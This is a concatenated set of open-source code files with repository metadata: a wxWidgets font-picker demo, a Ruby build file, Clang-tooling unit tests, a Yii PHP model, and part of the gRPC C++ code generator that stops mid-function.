state to the initial values void Reset(); void OnFontChange(wxFontPickerEvent &ev); void OnCheckBox(wxCommandEvent &ev); void OnButtonReset(wxCommandEvent &ev); // the picker wxFontPickerCtrl *m_fontPicker; // other controls // -------------- wxCheckBox *m_chkFontTextCtrl, *m_chkFontDescAsLabel, *m_chkFontUseFontForLabel; wxBoxSizer *m_sizer; private: wxDECLARE_EVENT_TABLE(); DECLARE_WIDGETS_PAGE(FontPickerWidgetsPage) }; // ---------------------------------------------------------------------------- // event tables // ---------------------------------------------------------------------------- wxBEGIN_EVENT_TABLE(FontPickerWidgetsPage, WidgetsPage) EVT_BUTTON(PickerPage_Reset, FontPickerWidgetsPage::OnButtonReset) EVT_FONTPICKER_CHANGED(PickerPage_Font, FontPickerWidgetsPage::OnFontChange) EVT_CHECKBOX(wxID_ANY, FontPickerWidgetsPage::OnCheckBox) wxEND_EVENT_TABLE() // ============================================================================ // implementation // ============================================================================ #if defined(__WXGTK20__) #define FAMILY_CTRLS NATIVE_CTRLS #else #define FAMILY_CTRLS GENERIC_CTRLS #endif IMPLEMENT_WIDGETS_PAGE(FontPickerWidgetsPage, "FontPicker", PICKER_CTRLS | FAMILY_CTRLS); FontPickerWidgetsPage::FontPickerWidgetsPage(WidgetsBookCtrl *book, wxImageList *imaglist) : WidgetsPage(book, imaglist, fontpicker_xpm) { } void FontPickerWidgetsPage::CreateContent() { // left pane wxSizer *boxleft = new wxBoxSizer(wxVERTICAL); wxStaticBoxSizer *fontbox = new wxStaticBoxSizer(wxVERTICAL, this, "&FontPicker style"); m_chkFontTextCtrl = CreateCheckBoxAndAddToSizer(fontbox, "With textctrl"); m_chkFontDescAsLabel = CreateCheckBoxAndAddToSizer(fontbox, "Font desc as btn label"); m_chkFontUseFontForLabel = CreateCheckBoxAndAddToSizer(fontbox, "Use font for label"); boxleft->Add(fontbox, 0, wxALL|wxGROW, 5); boxleft->Add(new wxButton(this, PickerPage_Reset, "&Reset"), 0, wxALIGN_CENTRE_HORIZONTAL | wxALL, 15); Reset(); // set checkboxes state // create pickers m_fontPicker = NULL; CreatePicker(); // right pane m_sizer = new wxBoxSizer(wxVERTICAL); m_sizer->Add(1, 1, 1, wxGROW | wxALL, 5); // spacer m_sizer->Add(m_fontPicker, 0, wxALIGN_CENTER|wxALL, 5); m_sizer->Add(1, 1, 1, wxGROW | wxALL, 5); // spacer // global pane wxSizer *sz = new wxBoxSizer(wxHORIZONTAL); sz->Add(boxleft, 0, wxGROW|wxALL, 5); sz->Add(m_sizer, 1, wxGROW|wxALL, 5); SetSizer(sz); } void FontPickerWidgetsPage::CreatePicker() { delete m_fontPicker; long style = GetAttrs().m_defaultFlags; if ( m_chkFontTextCtrl->GetValue() ) style |= wxFNTP_USE_TEXTCTRL; if ( m_chkFontUseFontForLabel->GetValue() ) style |= wxFNTP_USEFONT_FOR_LABEL; if ( m_chkFontDescAsLabel->GetValue() ) style |= wxFNTP_FONTDESC_AS_LABEL; m_fontPicker = new wxFontPickerCtrl(this, PickerPage_Font, *wxSWISS_FONT, wxDefaultPosition, wxDefaultSize, style); } void FontPickerWidgetsPage::RecreatePicker() { m_sizer->Remove(1); CreatePicker(); m_sizer->Insert(1, m_fontPicker, 0, wxALIGN_CENTER|wxALL, 5); m_sizer->Layout(); } void FontPickerWidgetsPage::Reset() { m_chkFontTextCtrl->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_USE_TEXTCTRL) != 0); m_chkFontUseFontForLabel->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_USEFONT_FOR_LABEL) != 0); m_chkFontDescAsLabel->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_FONTDESC_AS_LABEL) != 0); } // ---------------------------------------------------------------------------- // event handlers // ---------------------------------------------------------------------------- void FontPickerWidgetsPage::OnButtonReset(wxCommandEvent& WXUNUSED(event)) { Reset(); RecreatePicker(); } void FontPickerWidgetsPage::OnFontChange(wxFontPickerEvent& event) { wxLogMessage("The font changed to '%s' with size %d !", event.GetFont().GetFaceName(), event.GetFont().GetPointSize()); } void FontPickerWidgetsPage::OnCheckBox(wxCommandEvent &event) { if (event.GetEventObject() == m_chkFontTextCtrl || event.GetEventObject() == m_chkFontDescAsLabel || event.GetEventObject() == m_chkFontUseFontForLabel) RecreatePicker(); } #endif // wxUSE_FONTPICKERCTRL
ric2b/Vivaldi-browser
update_notifier/thirdparty/wxWidgets/samples/widgets/fontpicker.cpp
C++
bsd-3-clause
6,890
require 'mxx_ru/cpp' MxxRu::Cpp::exe_target { required_prj "ace/dll.rb" target "_microbench.demand_queue_2_bench_1" cpp_source "main.cpp" }
Free4Lila/s-objectizer
so_5/5.2.4-microbenchmarking/dev/microbenchmarks/so_5/demand_queue_2_bench_1/prj.rb
Ruby
bsd-3-clause
147
#include "ClangInvoker.h" #include "ThreadExecutor.h" #include "windycode/Support.h" #include <unistd.h> #include "gtest/gtest.h" namespace windycode { namespace clang { namespace { class CharDeleter { public: void operator()(char *p) { free(p); } }; static std::string getUnittestPath() { static std::string Path; static bool Initialized = false; if (!Initialized) { Initialized = true; std::unique_ptr<char, CharDeleter> CurrentPath(getcwd(nullptr, 0)); Path = parentPath(CurrentPath.get()); appendPath(Path, "unittests"); if (!isDirectory(Path)) return std::string(); } return Path; } static std::string getUnittestFilePath(string_ref FileName) { std::string Path = getUnittestPath(); if (Path.empty()) return Path; appendPath(Path, FileName); return Path; } TEST(ClangInvokerTest, Singleton) { ClangInvoker *Instance = ClangInvoker::getInstance(); ASSERT_NE(Instance, nullptr); ASSERT_EQ(Instance, ClangInvoker::getInstance()); } TEST(ClangInvokerTest, GetUnitestDirectory) { ASSERT_FALSE(getUnittestPath().empty()); } TEST(ClangInvokerTest, ClangInfo) { ClangInfo Info; ClangInvoker *Instance = ClangInvoker::getInstance(); Instance->getClangInfo(&Info); } TEST(ClangInvokerTest, OpenAndCloseFile) { ClangInvoker *Instance = ClangInvoker::getInstance(); std::string FileName = getUnittestFilePath("test01.c"); ASSERT_FALSE(Instance->openFile("test01.c").ok()); ASSERT_TRUE(Instance->openFile(FileName).ok()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } TEST(ClangInvokerTest, getDiagnostics) { ClangInvoker *Instance = ClangInvoker::getInstance(); google::protobuf::RepeatedPtrField<Diagnostic> DSet; std::string FileName = getUnittestFilePath("test02.c"); ASSERT_TRUE(Instance->openFile(FileName).ok()); ASSERT_TRUE(Instance->getDiagnosticSet(FileName, &DSet).ok()); EXPECT_NE(0, DSet.size()); // EXPECT_NE(0u, DSet[0]->category()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } // FIXME // Disable codeCompletAt on linux since we haven't add support for gcc builtin // headers' finding #ifndef CH_OS_LINUX TEST(ClangInvokerTest, codeCompleteAt) { ClangInvoker *Instance = ClangInvoker::getInstance(); unsigned StartColumn; google::protobuf::RepeatedPtrField<CompletionData> Completions; std::string FileName = getUnittestFilePath("test02.c"); SourceLocation Location; Location.set_file_name(FileName); Location.set_line(1); Location.set_column(1); ASSERT_TRUE(Instance->openFile(FileName).ok()); ASSERT_TRUE( Instance->codeCompleteAt(Location, &StartColumn, &Completions).ok()); EXPECT_NE(0, Completions.size()); Location.set_line(5); Location.set_column(7); ASSERT_TRUE( Instance->codeCompleteAt(Location, &StartColumn, &Completions).ok()); ASSERT_NE(0, Completions.size()); EXPECT_EQ(3u, StartColumn); // const auto &Completion = Completions.front(); // EXPECT_STREQ("print", Completion.Text().c_str()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } #endif TEST(ClangInvokerTest, getDefinition) { ClangInvoker *Instance = ClangInvoker::getInstance(); google::protobuf::RepeatedPtrField<Diagnostic> Diags; std::string FileName = getUnittestFilePath("test03.c"); ASSERT_TRUE(Instance->openFile(FileName).ok()); ASSERT_TRUE(Instance->getDiagnosticSet(FileName, &Diags).ok()); ASSERT_EQ(0, Diags.size()); SourceLocation Location, SrcLocation; Location.set_file_name(FileName); Location.set_line(6); Location.set_column(10); ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok()); EXPECT_EQ(1u, SrcLocation.line()); EXPECT_EQ(8u, SrcLocation.column()); Location.set_line(7); Location.set_column(16); ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok()); EXPECT_EQ(6u, SrcLocation.line()); EXPECT_EQ(12u, SrcLocation.column()); Location.set_line(7); Location.set_column(17); ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok()); EXPECT_EQ(6u, SrcLocation.line()); EXPECT_EQ(12u, SrcLocation.column()); Location.set_line(7); Location.set_column(18); ASSERT_TRUE(Instance->getDefinition(Location, &SrcLocation).ok()); EXPECT_EQ(6u, SrcLocation.line()); EXPECT_EQ(12u, SrcLocation.column()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } TEST(ClangInvokerTest, getCursorDetail) { ClangInvoker *Instance = ClangInvoker::getInstance(); CursorDetail Detail; std::string FileName = getUnittestFilePath("test04.c"); ASSERT_TRUE(Instance->openFile(FileName).ok()); SourceLocation Location; Location.set_file_name(FileName); Location.set_line(3); Location.set_column(8); ASSERT_TRUE(Instance->getCursorDetail(Location, &Detail).ok()); // EXPECT_FALSE(Detail.type().empty()); // EXPECT_FALSE(Detail.kind().empty()); // EXPECT_FALSE(Detail.canonicalType().empty()); // EXPECT_FALSE(Detail.spellingName().empty()); // EXPECT_FALSE(Detail.rawComment().empty()); // EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment()); // EXPECT_FALSE(Detail.briefComment().empty()); // EXPECT_EQ("hello this is a comment", Detail.briefComment()); // EXPECT_FALSE(Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 3, 10, &Detail).ok()); // EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment()); // EXPECT_EQ("hello this is a comment", Detail.briefComment()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 3, 12, &Detail).ok()); // EXPECT_EQ("/// \\brief hello\n/// this is a comment", Detail.rawComment()); // EXPECT_EQ("hello this is a comment", Detail.briefComment()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } TEST(ClangInvokerTest, getCursorDetailComments) { ClangInvoker *Instance = ClangInvoker::getInstance(); CursorDetail Detail; SourceLocation Location; std::string FileName = getUnittestFilePath("test05.cc"); ASSERT_TRUE(Instance->openFile(FileName).ok()); Location.set_file_name(FileName); Location.set_line(3); Location.set_column(7); ASSERT_TRUE(Instance->getCursorDetail(Location, &Detail).ok()); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 7, 10, &Detail).ok()); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 10, 10, &Detail).ok()); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 15, 7, &Detail).ok()); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 17, 6, &Detail)); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 18, 5, &Detail)); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 19, 5, &Detail)); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); // ASSERT_TRUE( // Instance->getCursorDetail(FileName, 20, 3, &Detail)); // EXPECT_FALSE(Detail.rawComment().empty() || // Detail.briefComment().empty() || // Detail.xmlComment().empty()); EXPECT_TRUE(Instance->closeFile(FileName).ok()); ThreadExecutor::sync(); } } // anonymous namespace } // namespace clang } // namespace windycode
Chilledheart/windycode
src/ClangSupport/ClangInvoker_unittest.cc
C++
bsd-3-clause
8,378
<?php namespace app\models; use Yii; class Measure extends \yii\db\ActiveRecord { public static function tableName() { return '{{%measure}}'; } public function getColum($cnum, $date, $row, $col) { $obj = self::find()->where([ 'cnum' => $cnum, 'date' => $date, 'row' => $row, 'col' => $col, ])->select(['val'])->one(); return $obj ? $obj->val : ''; } public function getMonth($date) { $cnum = YII::$app->user->identity->cnum; $obj = self::find()->where([ 'cnum' => $cnum, 'date' => $date, ])->select(['val', 'row', 'col'])->all(); $data = []; if ($obj) { foreach ($obj as $key => $val) { $data[$val->row][$val->col] = $val->val; } } return $data; } }
realphp/yii2-admin
models/Measure.php
PHP
bsd-3-clause
946
/* * * Copyright 2015, Google Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include <string> #include <map> #include "src/compiler/cpp_generator.h" #include "src/compiler/cpp_generator_helpers.h" #include <google/protobuf/descriptor.h> #include <google/protobuf/descriptor.pb.h> #include <google/protobuf/io/printer.h> #include <google/protobuf/io/zero_copy_stream_impl_lite.h> #include <sstream> namespace grpc_cpp_generator { namespace { template <class T> std::string as_string(T x) { std::ostringstream out; out << x; return out.str(); } bool NoStreaming(const google::protobuf::MethodDescriptor *method) { return !method->client_streaming() && !method->server_streaming(); } bool ClientOnlyStreaming(const google::protobuf::MethodDescriptor *method) { return method->client_streaming() && !method->server_streaming(); } bool ServerOnlyStreaming(const google::protobuf::MethodDescriptor *method) { return !method->client_streaming() && method->server_streaming(); } bool BidiStreaming(const google::protobuf::MethodDescriptor *method) { return method->client_streaming() && method->server_streaming(); } bool HasUnaryCalls(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (NoStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasClientOnlyStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (ClientOnlyStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasServerOnlyStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (ServerOnlyStreaming(file->service(i)->method(j))) { return true; } } } return false; } bool HasBidiStreaming(const google::protobuf::FileDescriptor *file) { for (int i = 0; i < file->service_count(); i++) { for (int j = 0; j < file->service(i)->method_count(); j++) { if (BidiStreaming(file->service(i)->method(j))) { return true; } } } return false; } } // namespace std::string GetHeaderIncludes(const google::protobuf::FileDescriptor *file) { std::string temp = "#include <grpc++/impl/internal_stub.h>\n" "#include <grpc++/impl/service_type.h>\n" "#include <grpc++/status.h>\n" "\n" "namespace grpc {\n" "class CompletionQueue;\n" "class ChannelInterface;\n" "class RpcService;\n" "class ServerContext;\n"; if (HasUnaryCalls(file)) { temp.append( "template <class OutMessage> class ClientAsyncResponseReader;\n"); temp.append( "template <class OutMessage> class ServerAsyncResponseWriter;\n"); } if (HasClientOnlyStreaming(file)) { temp.append("template <class OutMessage> class ClientWriter;\n"); temp.append("template <class InMessage> class ServerReader;\n"); temp.append("template <class OutMessage> class ClientAsyncWriter;\n"); temp.append("template <class OutMessage, class InMessage> class ServerAsyncReader;\n"); } if (HasServerOnlyStreaming(file)) { temp.append("template <class InMessage> class ClientReader;\n"); temp.append("template <class OutMessage> class ServerWriter;\n"); temp.append("template <class OutMessage> class ClientAsyncReader;\n"); temp.append("template <class InMessage> class ServerAsyncWriter;\n"); } if (HasBidiStreaming(file)) { temp.append( "template <class OutMessage, class InMessage>\n" "class ClientReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ServerReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ClientAsyncReaderWriter;\n"); temp.append( "template <class OutMessage, class InMessage>\n" "class ServerAsyncReaderWriter;\n"); } temp.append("} // namespace grpc\n"); return temp; } std::string GetSourceIncludes() { return "#include <grpc++/async_unary_call.h>\n" "#include <grpc++/channel_interface.h>\n" "#include <grpc++/impl/client_unary_call.h>\n" "#include <grpc++/impl/rpc_method.h>\n" "#include <grpc++/impl/rpc_service_method.h>\n" "#include <grpc++/impl/service_type.h>\n" "#include <grpc++/stream.h>\n"; } void PrintHeaderClientMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Method$(::grpc::ClientContext* context, " "const $Request$& request, $Response$* response);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncResponseReader< $Response$>> " "$Method$(::grpc::ClientContext* context, " "const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientWriter< $Request$>> $Method$(" "::grpc::ClientContext* context, $Response$* response);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncWriter< $Request$>> $Method$(" "::grpc::ClientContext* context, $Response$* response, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReader< $Response$>> $Method$(" "::grpc::ClientContext* context, const $Request$& request);\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncReader< $Response$>> $Method$(" "::grpc::ClientContext* context, const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReaderWriter< $Request$, $Response$>> " "$Method$(::grpc::ClientContext* context);\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>> " "$Method$(::grpc::ClientContext* context, " "::grpc::CompletionQueue* cq, void* tag);\n"); } } void PrintHeaderServerMethodSync( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, const $Request$* request, " "$Response$* response);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReader< $Request$>* reader, " "$Response$* response);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, const $Request$* request, " "::grpc::ServerWriter< $Response$>* writer);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "virtual ::grpc::Status $Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReaderWriter< $Response$, $Request$>* stream);" "\n"); } } void PrintHeaderServerMethodAsync( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, $Request$* request, " "::grpc::ServerAsyncResponseWriter< $Response$>* response, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReader< $Response$, $Request$>* reader, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "void Request$Method$(" "::grpc::ServerContext* context, $Request$* request, " "::grpc::ServerAsyncWriter< $Response$>* writer, " "::grpc::CompletionQueue* cq, void *tag);\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "void Request$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerAsyncReaderWriter< $Response$, $Request$>* stream, " "::grpc::CompletionQueue* cq, void *tag);\n"); } } void PrintHeaderService(google::protobuf::io::Printer *printer, const google::protobuf::ServiceDescriptor *service, std::map<std::string, std::string> *vars) { (*vars)["Service"] = service->name(); printer->Print(*vars, "class $Service$ GRPC_FINAL {\n" " public:\n"); printer->Indent(); // Client side printer->Print( "class Stub GRPC_FINAL : public ::grpc::InternalStub {\n" " public:\n"); printer->Indent(); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderClientMethod(printer, service->method(i), vars); } printer->Outdent(); printer->Print("};\n"); printer->Print( "static std::unique_ptr<Stub> NewStub(const std::shared_ptr< " "::grpc::ChannelInterface>& " "channel);\n"); printer->Print("\n"); // Server side - Synchronous printer->Print( "class Service : public ::grpc::SynchronousService {\n" " public:\n"); printer->Indent(); printer->Print("Service() : service_(nullptr) {}\n"); printer->Print("virtual ~Service();\n"); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderServerMethodSync(printer, service->method(i), vars); } printer->Print("::grpc::RpcService* service() GRPC_OVERRIDE GRPC_FINAL;\n"); printer->Outdent(); printer->Print( " private:\n" " ::grpc::RpcService* service_;\n"); printer->Print("};\n"); // Server side - Asynchronous printer->Print( "class AsyncService GRPC_FINAL : public ::grpc::AsynchronousService {\n" " public:\n"); printer->Indent(); (*vars)["MethodCount"] = as_string(service->method_count()); printer->Print("explicit AsyncService(::grpc::CompletionQueue* cq);\n"); printer->Print("~AsyncService() {};\n"); for (int i = 0; i < service->method_count(); ++i) { PrintHeaderServerMethodAsync(printer, service->method(i), vars); } printer->Outdent(); printer->Print("};\n"); printer->Outdent(); printer->Print("};\n"); } std::string GetHeaderServices(const google::protobuf::FileDescriptor *file) { std::string output; google::protobuf::io::StringOutputStream output_stream(&output); google::protobuf::io::Printer printer(&output_stream, '$'); std::map<std::string, std::string> vars; for (int i = 0; i < file->service_count(); ++i) { PrintHeaderService(&printer, file->service(i), &vars); printer.Print("\n"); } return output; } void PrintSourceClientMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Stub::$Method$(" "::grpc::ClientContext* context, " "const $Request$& request, $Response$* response) {\n"); printer->Print(*vars, " return ::grpc::BlockingUnaryCall(channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$]), " "context, request, response);\n" "}\n\n"); printer->Print( *vars, "std::unique_ptr< ::grpc::ClientAsyncResponseReader< $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context, " "const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< " "::grpc::ClientAsyncResponseReader< $Response$>>(new " "::grpc::ClientAsyncResponseReader< $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$]), " "context, request, tag));\n" "}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "std::unique_ptr< ::grpc::ClientWriter< $Request$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, $Response$* response) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientWriter< " "$Request$>>(new ::grpc::ClientWriter< $Request$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::CLIENT_STREAMING), " "context, response));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncWriter< $Request$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, $Response$* response, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncWriter< " "$Request$>>(new ::grpc::ClientAsyncWriter< $Request$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::CLIENT_STREAMING), " "context, response, tag));\n" "}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReader< $Response$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, const $Request$& request) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientReader< " "$Response$>>(new ::grpc::ClientReader< $Response$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::SERVER_STREAMING), " "context, request));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReader< $Response$>> " "$Service$::Stub::$Method$(" "::grpc::ClientContext* context, const $Request$& request, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncReader< " "$Response$>>(new ::grpc::ClientAsyncReader< $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::SERVER_STREAMING), " "context, request, tag));\n" "}\n\n"); } else if (BidiStreaming(method)) { printer->Print( *vars, "std::unique_ptr< ::grpc::ClientReaderWriter< $Request$, $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientReaderWriter< " "$Request$, $Response$>>(new ::grpc::ClientReaderWriter< " "$Request$, $Response$>(" "channel()," "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::BIDI_STREAMING), " "context));\n" "}\n\n"); printer->Print(*vars, "std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>> " "$Service$::Stub::$Method$(::grpc::ClientContext* context, " "::grpc::CompletionQueue* cq, void* tag) {\n"); printer->Print(*vars, " return std::unique_ptr< ::grpc::ClientAsyncReaderWriter< " "$Request$, $Response$>>(new " "::grpc::ClientAsyncReaderWriter< $Request$, $Response$>(" "channel(), cq, " "::grpc::RpcMethod($Service$_method_names[$Idx$], " "::grpc::RpcMethod::RpcType::BIDI_STREAMING), " "context, tag));\n" "}\n\n"); } } void PrintSourceServerMethod(google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { (*vars)["Method"] = method->name(); (*vars)["Request"] = grpc_cpp_generator::ClassName(method->input_type(), true); (*vars)["Response"] = grpc_cpp_generator::ClassName(method->output_type(), true); if (NoStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "const $Request$* request, $Response$* response) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (ClientOnlyStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReader< $Request$>* reader, " "$Response$* response) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (ServerOnlyStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "const $Request$* request, " "::grpc::ServerWriter< $Response$>* writer) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } else if (BidiStreaming(method)) { printer->Print(*vars, "::grpc::Status $Service$::Service::$Method$(" "::grpc::ServerContext* context, " "::grpc::ServerReaderWriter< $Response$, $Request$>* " "stream) {\n"); printer->Print( " return ::grpc::Status(" "::grpc::StatusCode::UNIMPLEMENTED);\n"); printer->Print("}\n\n"); } } void PrintSourceServerAsyncMethod( google::protobuf::io::Printer *printer, const google::protobuf::MethodDescriptor *method, std::map<std::string, std::string> *vars) { 